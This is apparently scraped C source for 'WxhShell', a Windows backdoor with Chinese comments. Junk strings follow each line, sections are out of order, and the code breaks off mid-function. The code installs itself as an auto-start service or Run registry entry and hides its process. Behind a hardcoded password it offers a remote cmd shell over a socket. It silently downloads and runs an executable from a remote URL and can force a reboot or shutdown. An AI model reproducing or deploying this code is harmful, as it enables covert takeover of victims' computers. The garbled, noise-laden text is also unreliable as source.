    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t~2oEwTm  
    if(Boot(SHUTDOWN)) f\&X$g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?G{0{ c2  
    else { 2- iY:r  
    closesocket(wsh); !$)reaS  
    ExitThread(0); HZrA}|:h  
    } J+D|/^  
    break; :UwBs  
    } KQ~y;{h?b  
  // 获取shell oZ{,IZ45  
  case 's': { HG"ZN)~  
    CmdShell(wsh); oXo>pl  
    closesocket(wsh); ~M~DH-aX  
    ExitThread(0); 5SFr E`  
    break; }G4I9Py  
  } "&L8d(ZuA  
  // 退出 ,%!m%+K9a  
  case 'x': { VH7t^fb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \p!UY 3'  
    CloseIt(wsh); Ir;JYY!0?  
    break; Lg4|6.Ez|P  
    } /R&`]9].s  
  // 离开 !Uiq3s`1T  
  case 'q': { _z p<en[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =7!s8D,[  
    closesocket(wsh); rfV'EjiM}  
    WSACleanup();  %:26v  
    exit(1); (Cr  
    break;  bPsvoG  
        } N^ +q^iW  
  } ._+cvXy  
  } t{;2$z 0  
nD i^s{  
  // 提示信息 [^!SkQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :.PA(97x b  
} V#G)w~   
  } <4{m99  
2V~E <K-  
  return; UfW=/T  
} ]9!y3"..W{  
SIK:0>yK"  
// shell模块句柄 0E\#!L  
int CmdShell(SOCKET sock) he|Q (?  
{ "{<X! ^u>  
STARTUPINFO si; e'b*_Ps'  
ZeroMemory(&si,sizeof(si)); pPa]@ z~O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <M\&zHv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; he(K   
PROCESS_INFORMATION ProcessInfo; np2&W'C/i  
char cmdline[]="cmd"; p2Khfl6-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g}!{_z  
  return 0; \me5"ZU  
} -] wEk%j  
8XJi}YPQ  
// 自身启动模式 1j<uFhi>  
int StartFromService(void) J2}poNmm  
{ ^EiU>   
typedef struct U!uPf:p2  
{ Ma!  
  DWORD ExitStatus; (F^R9G|  
  DWORD PebBaseAddress; dC,C[7\  
  DWORD AffinityMask; 5r)8MklZ  
  DWORD BasePriority; #b/L~Bw[  
  ULONG UniqueProcessId; dQT[pNp:  
  ULONG InheritedFromUniqueProcessId; pO *[~yq5  
}   PROCESS_BASIC_INFORMATION; t+ w{uwEY  
*rTg>)  
PROCNTQSIP NtQueryInformationProcess; &|Wqzdo?#  
7j)ky2r#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GXxI=,L8F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # bHkI~  
(rFiHv5  
  HANDLE             hProcess; c5%}* "z  
  PROCESS_BASIC_INFORMATION pbi; Gtaa^mnxD  
j4,y+ 9U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Ew ff|v"  
  if(NULL == hInst ) return 0; p-I J':W  
.1TuHC\mC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W`PJ flr|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YyYZD{^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9h|6"6  
\dCGu~bT  
  if (!NtQueryInformationProcess) return 0; #f"eZAQ {  
Nl[&rZ-&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S3/%;=|  
  if(!hProcess) return 0; 1J0gjO)AZ  
/?r A|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T^Ia^B-%}g  
)Zr\W3yWX  
  CloseHandle(hProcess); .8W-,R4  
m"rht:v5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zb 2pZhkW  
if(hProcess==NULL) return 0; #w.0Cc  
hu$eO'M_  
HMODULE hMod; >%;i@"  
char procName[255]; ?PWg  
unsigned long cbNeeded; 6YU,> KP  
pMT7/y-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~bkO8tn  
k 6M D3c  
  CloseHandle(hProcess); el`?:dY H  
y>}r  
if(strstr(procName,"services")) return 1; // 以服务启动 h&K$(}X  
R& t*x  
  return 0; // 注册表启动 Hrpz4E%\Aw  
} V\m"Hl>VIU  
.O"a:^i  
// 主模块 W+ ;=8S  
int StartWxhshell(LPSTR lpCmdLine) (=uT*Cb  
{ &(,\~  
  SOCKET wsl; 4/~x+tdc  
BOOL val=TRUE; mH\zSk  
  int port=0; i#>t<g`l  
  struct sockaddr_in door; ^85Eveu  
Soq#cl'll-  
  if(wscfg.ws_autoins) Install(); <qfAW?tF  
%W9R08`  
port=atoi(lpCmdLine); ~<!j]@.  
e1a\ --  
if(port<=0) port=wscfg.ws_port; O6NH  
w^Y/J4 I0  
  WSADATA data; <L8|Wz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EtzSaB*|  
Xgd-^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   joskKik^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W]/J]O6  
  door.sin_family = AF_INET; ;*Vnwt A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qdI%v#'M  
  door.sin_port = htons(port); _!1LV[x!s  
F}{%*EJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QP.Lq }  
closesocket(wsl); -9FGFBm4]  
return 1; ld ]*J}cw  
} :0:Tl/))  
?'0!>EjY"  
  if(listen(wsl,2) == INVALID_SOCKET) { eMnK@J  
closesocket(wsl); mP\V.^  
return 1; QNOdt2NN  
} vY_[@y  
  Wxhshell(wsl); `2]0 X#R  
  WSACleanup(); pk9Ics;y  
KGM__ZO.  
return 0; N<i5X.X  
oaqH@`  
} m|W17LhW{  
]UUa/ep-  
// 以NT服务方式启动 T+nID@"36  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =tD*,2]  
{ nfF$h}<o+  
DWORD   status = 0; \4wMv[;7  
  DWORD   specificError = 0xfffffff; #?w07/~L  
z.8nYL5^}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l+@;f(8}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iOg4(SPci  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]uox ^HC  
  serviceStatus.dwWin32ExitCode     = 0; pZ'q_Oux  
  serviceStatus.dwServiceSpecificExitCode = 0; \"(?k>]E  
  serviceStatus.dwCheckPoint       = 0; ,i6E L  
  serviceStatus.dwWaitHint       = 0; pi"M*$  
AMjr[!44 @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H9)n<r  
  if (hServiceStatusHandle==0) return; ,5v'hG  
=xm7i#1  
status = GetLastError(); IWu=z!mO  
  if (status!=NO_ERROR) q  
{ '(@q"`n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZwBz\jmbP  
    serviceStatus.dwCheckPoint       = 0; IMwV9rF  
    serviceStatus.dwWaitHint       = 0; ~BuzI9~7P  
    serviceStatus.dwWin32ExitCode     = status; w{aGH/LN  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3h:~NL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jzV"(p!  
    return; 73rme,   
  } r{v3 XD/  
Fge%6hu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4& cQW)  
  serviceStatus.dwCheckPoint       = 0; :rU.5(,  
  serviceStatus.dwWaitHint       = 0; 3S3(Gl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +"-l~`+<es  
} : B&~q$  
c ^ds|7i]a  
// 处理NT服务事件,比如:启动、停止 C zJ-tEO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w\GJ,e  
{ 4,LS08&gh  
switch(fdwControl) T" {~mQ*  
{ kMCP .D45;  
case SERVICE_CONTROL_STOP: :Q DkaA  
  serviceStatus.dwWin32ExitCode = 0; AuQ|CXG-\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Y?2u  
  serviceStatus.dwCheckPoint   = 0; 5kw  K%  
  serviceStatus.dwWaitHint     = 0; Gw3+TvwU+Q  
  { QIMd`c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S'34](9n6  
  } Y"bm4&'  
  return; B-N//ef}  
case SERVICE_CONTROL_PAUSE: 8c.>6 Hy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sPi  
  break; IrL7%?  
case SERVICE_CONTROL_CONTINUE: 'Hx#DhiFz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q,5PscE6&k  
  break;  _C5i\Y)  
case SERVICE_CONTROL_INTERROGATE: \)/qCeiZ  
  break; e#Ao] gc  
}; jdG2u p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HSNj  
} ;S U<T^a  
?h4[yp=w  
// 标准应用程序主函数 %cn 1d>M+I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6"G(Iq'2t3  
{ "L]v:lg3  
]Ik~TW&  
// 获取操作系统版本 }&=l)\e  
OsIsNt=GetOsVer(); OU%"dmSDk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g/.FJ-I*  
M}o.= Iqa  
  // 从命令行安装 E>QS^)ih  
  if(strpbrk(lpCmdLine,"iI")) Install(); S|tA%2z  
k*;U?C!  
  // 下载执行文件 5%2~/ "  
if(wscfg.ws_downexe) { 'S6zkwC]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EM@|^47$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0bh 6ay4  
} r5s{t4 ;Ch  
LmJjO:W}^y  
if(!OsIsNt) { ~$6` e:n  
// 如果时win9x,隐藏进程并且设置为注册表启动 \(Rj2  
HideProc(); :;Z/$M16B  
StartWxhshell(lpCmdLine); \@Cz 32wg  
} 0J'^<G TL  
else sZ=!*tb-  
  if(StartFromService()) 0x~+=GUN  
  // 以服务方式启动 o(e(| k {  
  StartServiceCtrlDispatcher(DispatchTable); &'12,'8  
else }Q: CZ  
  // 普通方式启动 %TFsk  
  StartWxhshell(lpCmdLine); F.y_H#h  
Jf2JGTcm  
return 0; RjVU m+<  
} ub8d]GZJ  
R-zS7Jyox  
#9(+)~irz`  
{D8opepO)  
=========================================== |Jx:#OM  
25Z} .))  
W]Xwt'ABz  
%R4 \[e  
MMrN#&r  
GjwH C{  
" Vyi.:lL _8  
w%`S>+kX&  
#include <stdio.h> %G(VYCeK  
#include <string.h> :7X4VHw/  
#include <windows.h> ;Lfn&2G  
#include <winsock2.h> 392(N(  
#include <winsvc.h> SVVEb6&  
#include <urlmon.h> ?wkT=mv  
G!VEV3zT  
#pragma comment (lib, "Ws2_32.lib") &V axv$v}  
#pragma comment (lib, "urlmon.lib") !j7mY9x+  
AB%i|t  
#define MAX_USER   100 // 最大客户端连接数 uzQj+Po  
#define BUF_SOCK   200 // sock buffer VOj7Tz9UD  
#define KEY_BUFF   255 // 输入 buffer \1<aBgK i  
cPZ\iGy  
#define REBOOT     0   // 重启 F6 ~ ;f;  
#define SHUTDOWN   1   // 关机 wq.'8Y~BE  
0B 1nk!F  
#define DEF_PORT   5000 // 监听端口 =,it`8;  
92Gfxld\  
#define REG_LEN     16   // 注册表键长度 uy2~<)  
#define SVC_LEN     80   // NT服务名长度 -,*m\Fe}  
DW,ERQ^  
// 从dll定义API {w3<dfJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J;XO1}9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mN{H^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zfDfy!\2_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F}mt *UcMG  
b' ^<0c  
// wxhshell配置信息 E2}X[EoBF  
struct WSCFG { KJ/Gv#Kj  
  int ws_port;         // 监听端口 &jEw(P&_  
  char ws_passstr[REG_LEN]; // 口令 b&E"r*i|  
  int ws_autoins;       // 安装标记, 1=yes 0=no M3UC9t9]  
  char ws_regname[REG_LEN]; // 注册表键名 J0k!&d8  
  char ws_svcname[REG_LEN]; // 服务名 n\ Lsm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T] H 'l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8)iI=,T*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zytW3sTZA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MA9E??p3\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +(Hp ".gU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s w >B  
1Bs  t|  
}; j/oc+ M^  
_T.`+0UV  
// default Wxhshell configuration aW_Y  
struct WSCFG wscfg={DEF_PORT, ~a  V5  
    "xuhuanlingzhe", zE8_3UC  
    1, 3s]o~I2x  
    "Wxhshell", hyPS 6Y'1  
    "Wxhshell", ^3vI NF  
            "WxhShell Service",  ,e 7 ~G  
    "Wrsky Windows CmdShell Service", }t(5n$go6  
    "Please Input Your Password: ", ;K l'[~z  
  1, bRFZ:hu l  
  "http://www.wrsky.com/wxhshell.exe", ~~WY?I-  
  "Wxhshell.exe" g@O?0,+1  
    }; ShtV2}s|  
d$\n@}8eZp  
// 消息定义模块 1M)88&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i\ 7JQZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cfBl HeYE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %t* 9sh  
char *msg_ws_ext="\n\rExit."; JI-.SR  
char *msg_ws_end="\n\rQuit."; AWFq5YMSI  
char *msg_ws_boot="\n\rReboot..."; I^LU*A=  
char *msg_ws_poff="\n\rShutdown..."; V`/c#y||  
char *msg_ws_down="\n\rSave to "; D)4#AI  
iX2exJto  
char *msg_ws_err="\n\rErr!"; V?T&>s  
char *msg_ws_ok="\n\rOK!";  m5J@kE%  
9;*B*S~znW  
char ExeFile[MAX_PATH]; DV?c%z`YO  
int nUser = 0; ae3 Gn }tf  
HANDLE handles[MAX_USER]; LD WYFOGQ  
int OsIsNt; sjLm-pn3  
xzx~H>M  
SERVICE_STATUS       serviceStatus; .j)DE}[q>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ao\OU}  
v8\_6}*I  
// 函数声明 E2o8'.~Yd`  
int Install(void); " 5Pqvi  
int Uninstall(void); dJQwb  
int DownloadFile(char *sURL, SOCKET wsh); "kc%d'c(  
int Boot(int flag); 0"\js:-$  
void HideProc(void); UaXIrBc  
int GetOsVer(void); ;\13x][  
int Wxhshell(SOCKET wsl); o@$py U8  
void TalkWithClient(void *cs); OS(Ua  
int CmdShell(SOCKET sock); {O=_c|u{N  
int StartFromService(void); Y^#>3T  
int StartWxhshell(LPSTR lpCmdLine); {6)H.vpP  
6ypHH 2X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); btC<>(kl&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uu0t}3l  
NeEV=+<-G  
// 数据结构和表定义 j~in%|^  
SERVICE_TABLE_ENTRY DispatchTable[] = [ p0_I7  
{ 6m(+X M S  
{wscfg.ws_svcname, NTServiceMain}, %,8 "cM`D  
{NULL, NULL} 9QF,ynE  
}; s}gdi  
W+V &  
// 自我安装 -:!T@rV,d  
int Install(void) gi_f8RP=2a  
{ Sng3B  
  char svExeFile[MAX_PATH]; /sB,)> X  
  HKEY key; 2jQ?-/Q8#  
  strcpy(svExeFile,ExeFile); Wb^g{F!W  
 GVu-<R  
// 如果是win9x系统,修改注册表设为自启动 d_V7w4lK  
if(!OsIsNt) { -q-BP}r3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C?g*c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \@NnL\ t u  
  RegCloseKey(key); G&N),wsNZK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zLS?: yq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5C-n"8&C&  
  RegCloseKey(key); >Zm|R|{BE  
  return 0; vHymSU/J  
    } k^UrFl  
  } ^D {v L  
} >I/~)B`jhE  
else { caTKi8  
?|<p^:  
// 如果是NT以上系统,安装为系统服务 nl-tJ.MU"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L6=5]?B=  
if (schSCManager!=0) d\ 7OtM  
{ L_zB/(h  
  SC_HANDLE schService = CreateService .,p@ee$q  
  ( 'A/{7*,  
  schSCManager, 2-duzc  
  wscfg.ws_svcname, {4R;C~E8  
  wscfg.ws_svcdisp, tD,~i"0;  
  SERVICE_ALL_ACCESS, ?,Wm|xY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UPuG&A#VV  
  SERVICE_AUTO_START, y.Yni*xt/  
  SERVICE_ERROR_NORMAL, 6se[>'5  
  svExeFile, G>2: WQ/  
  NULL, 'Hq#9?<2M  
  NULL, $4CsiZ6  
  NULL, gln X C  
  NULL, ^S(["6OJ(  
  NULL S }G3ha  
  ); F B&l|#e  
  if (schService!=0) bFIv}c+;  
  { j4D`Xq2 X  
  CloseServiceHandle(schService); Zr!CT5C5  
  CloseServiceHandle(schSCManager); {`% q0Nr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y2x)<.cDP  
  strcat(svExeFile,wscfg.ws_svcname); _cc9+o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wqQrby<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >$A,B  
  RegCloseKey(key); VsRdZ4  
  return 0; N?%FVF  
    } S)@) @3  
  } _~b]/]|z#N  
  CloseServiceHandle(schSCManager); Bp=BRl  
} Y]}>he1/5  
} M ~6k[ew  
+oa>k 0  
return 1; <;E>1*K}8  
} MOP#to)k&  
Oufdi3h  
// 自我卸载 G8hDR^ra  
int Uninstall(void) rEs Gf+4  
{ c~Z\|Y`#B  
  HKEY key; |0N1]Hf   
G]>P!]  
if(!OsIsNt) { Jy#2 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NK(; -~{P  
  RegDeleteValue(key,wscfg.ws_regname); X&Pj  
  RegCloseKey(key); PKNpR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ddeH-Z  
  RegDeleteValue(key,wscfg.ws_regname); >Q# !.lH$W  
  RegCloseKey(key); IlP@a[:_  
  return 0; 0p \,}t\E  
  } (qy82F-|2  
} x4S0C[k  
} 'y:+w{I2o  
else { /{\mV(F(  
?pp|~A)b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v>p~y u+G  
if (schSCManager!=0) %VzCeS9  
{ JKYkS*.a}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F,$ypGr  
  if (schService!=0) ]`n6H[6O  
  { m"8Gh `Fo  
  if(DeleteService(schService)!=0) { GH6ozWA  
  CloseServiceHandle(schService); DWar3+u&0  
  CloseServiceHandle(schSCManager); 0%hOB :  
  return 0; !PY.F nZ  
  } bp(X\:zAy  
  CloseServiceHandle(schService); "+ 8Y{T  
  } 7TGLt z  
  CloseServiceHandle(schSCManager); YumHECej  
} j.y8H  
} E6y ?DXW H  
73d7'Fw  
return 1; i_qR&X  
} !8i[.EAT  
hiA%Tq?  
// 从指定url下载文件 B<uUf)t  
int DownloadFile(char *sURL, SOCKET wsh) H$n{|YO `  
{ C@[f Z  
  HRESULT hr; :%vD hMHa  
char seps[]= "/"; $X:r&7t+Q[  
char *token; /tGj`C&qtw  
char *file; ZQPv@6+oY  
char myURL[MAX_PATH]; X` FFI6pb  
char myFILE[MAX_PATH]; v %fRq!~  
Qk.:b  
strcpy(myURL,sURL); dKwY\)\  
  token=strtok(myURL,seps); Yv[j5\:x  
  while(token!=NULL) Z39I*-6F9W  
  { Q:~>$5Em5  
    file=token; 9&uWj'%ia  
  token=strtok(NULL,seps); (VzabO  
  } `^7ARr/  
LlfD>cN  
GetCurrentDirectory(MAX_PATH,myFILE); DsP FB q  
strcat(myFILE, "\\"); ?~>#(Q  
strcat(myFILE, file); (qM(~4|`  
  send(wsh,myFILE,strlen(myFILE),0); =W~K_jE5lo  
send(wsh,"...",3,0); w %sHA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,5L[M&5  
  if(hr==S_OK) qhiO( !jK  
return 0; OAiip,  
else g0BJj=  
return 1; )cX6o[oia  
X3j<HQcK  
} j3`"9bY  
1"Z61gXrz  
// 系统电源模块 gM<*(=x'  
int Boot(int flag) aZMMcd   
{ p;VHg  
  HANDLE hToken; L3g}Z1<!$  
  TOKEN_PRIVILEGES tkp; s!d"(K9E  
O1_dA%m  
  if(OsIsNt) { Jj$N3UCg7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ch%-Cg~%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~~_!&  
    tkp.PrivilegeCount = 1; 6mi: %)"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [j :]YR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?u9JRXj%  
if(flag==REBOOT) { >=_Z\ wA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZzuEw   
  return 0; bQ" w%!  
} MQv2C@K9F  
else { Ux Yb[Nbc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M)oy3y^&  
  return 0; MH>CCT  
} >dW~o_u'QN  
  } `E),G;I  
  else { MWS=$N)v*  
if(flag==REBOOT) { 5`B ! 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qd FYf/y  
  return 0; )NwIEk>Tf  
} |hprk-R*OH  
else { k2xOu9ncEj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8W|qm;J98  
  return 0; |lijnfp  
} : _>/Yd7-&  
} b'N(eka  
;n Pjyu'g  
return 1; =2z9Aq{  
} P%6-W5<  
il \q{Y o  
// win9x进程隐藏模块 *k(>Qsb "  
void HideProc(void) >~kSe=Hsb4  
{ _O-ZII~  
uV:;q>XM'%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xYJ|G=h&A  
  if ( hKernel != NULL ) oD]riA>jC  
  { ]KS|r+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i$Q$y hT{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z[DiLXHL  
    FreeLibrary(hKernel); { L(Q|bB  
  } Q_bF^4gt  
+a%Vp!y  
return; RQZ|:SvV  
} M8 E8r  
?2b*F Qe  
// 获取操作系统版本  ;Q;u^T`  
int GetOsVer(void) Q-X<zn  
{ S1<mO-  
  OSVERSIONINFO winfo; c8cV{}7Kb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Hp o[IF  
  GetVersionEx(&winfo); fXPD^}?Ux4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e7<//~W7W  
  return 1; =U6%Wdth  
  else f*VBSg[`  
  return 0; BTwLx-p9t  
} m8q3Pp  
7[wHNJ7)r  
// 客户端句柄模块 A d0dg2Gw  
int Wxhshell(SOCKET wsl) Cc?BJ  
{ )19As8rL/o  
  SOCKET wsh; B*+3A!{s  
  struct sockaddr_in client; idLysxN  
  DWORD myID; QeYO)sc`  
K0#kW \4`  
  while(nUser<MAX_USER) a sDq(J`sQ  
{ 'Jb6CR n  
  int nSize=sizeof(client); MX%D %} N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S aCa  
  if(wsh==INVALID_SOCKET) return 1; ,7m Rb-*p  
(Yzy;"iAu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &^C <J  
if(handles[nUser]==0) g7*ii X  
  closesocket(wsh); edh?I1/  
else Hz}6XS@  
  nUser++; AHq;6cG  
  } .!ThqYo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { jnQoxN  
*^XfEO  
  return 0;  q$$:<*Uy  
} e>-a\g  
fX,L;Se"  
// 关闭 socket X]J]7\4tF\  
void CloseIt(SOCKET wsh) 7gR8Wr ^  
{ "#H@d+u  
closesocket(wsh); J`T1 88  
nUser--; (~~*PT-  
ExitThread(0); =X(8 [ e  
} =v4;t'_^  
WKf->W  
// 客户端请求句柄 K|-?1)Um  
void TalkWithClient(void *cs) pSQ)DqW  
{ =)Cqjp  
ffuV158a&  
  SOCKET wsh=(SOCKET)cs; PQ`p:=~>:i  
  char pwd[SVC_LEN];  =#N;ZG  
  char cmd[KEY_BUFF]; lMu}|d  
char chr[1]; c?qg i"kS  
int i,j; r7z8ICX'q  
,~ D_T  
  while (nUser < MAX_USER) { 6N}>@Y5  
`mro2A  
if(wscfg.ws_passstr) { |kwBb>V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5cbtMNP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $EjM )  
  //ZeroMemory(pwd,KEY_BUFF); V6.xp{[  
      i=0; 3:Aw.-,i\  
  while(i<SVC_LEN) { pA(B~9WQ  
Ih*}1D)7  
  // 设置超时 ;$|[z<1RdW  
  fd_set FdRead; 3PB#m.N<  
  struct timeval TimeOut; P@ewr}  
  FD_ZERO(&FdRead); @add'>)  
  FD_SET(wsh,&FdRead); C WJGr:}&  
  TimeOut.tv_sec=8; {Mc^[}9  
  TimeOut.tv_usec=0; :` >|N|i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vy;f4;I{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =HT:p:S  
6#S}EaWf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ecK{+Z'G  
  pwd=chr[0]; bI)ItC_wf!  
  if(chr[0]==0xd || chr[0]==0xa) { LRO'o{4$E  
  pwd=0; Y6T1_XG  
  break; 60KhwD1  
  } Tu Q@b  
  i++; xtef18i>  
    } 1Ih.?7}  
I\JJ7/S`t  
  // 如果是非法用户,关闭 socket ;=IC.<Q<}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $d1+d;Mn  
} =VMV^[&>  
Oj<.3U[C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  8+no>%L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GE`:bC3  
,f`435R  
while(1) { @SREyqC4  
VvuwgJX  
  ZeroMemory(cmd,KEY_BUFF); +.N3kH  
?Z-(SC  
      // 自动支持客户端 telnet标准   !xs. [&u8  
  j=0; rixP[`!]x  
  while(j<KEY_BUFF) { Hl"qLrb4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dmHpF\P5f  
  cmd[j]=chr[0]; |oq27*ix~m  
  if(chr[0]==0xa || chr[0]==0xd) { 4q"x|}a  
  cmd[j]=0; aRBTuLa)fo  
  break; }`g:) g J  
  } ?{s!.U[T@  
  j++; x OCHP|?  
    } 5Xn+cw*  
'p=5hsG  
  // 下载文件 "mbcZ5 _  
  if(strstr(cmd,"http://")) { x{Y}1+Y4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7XKPC+)1ya  
  if(DownloadFile(cmd,wsh)) Vv=/{31  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV0m31b  
  else nQuiRTU<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#U nE  
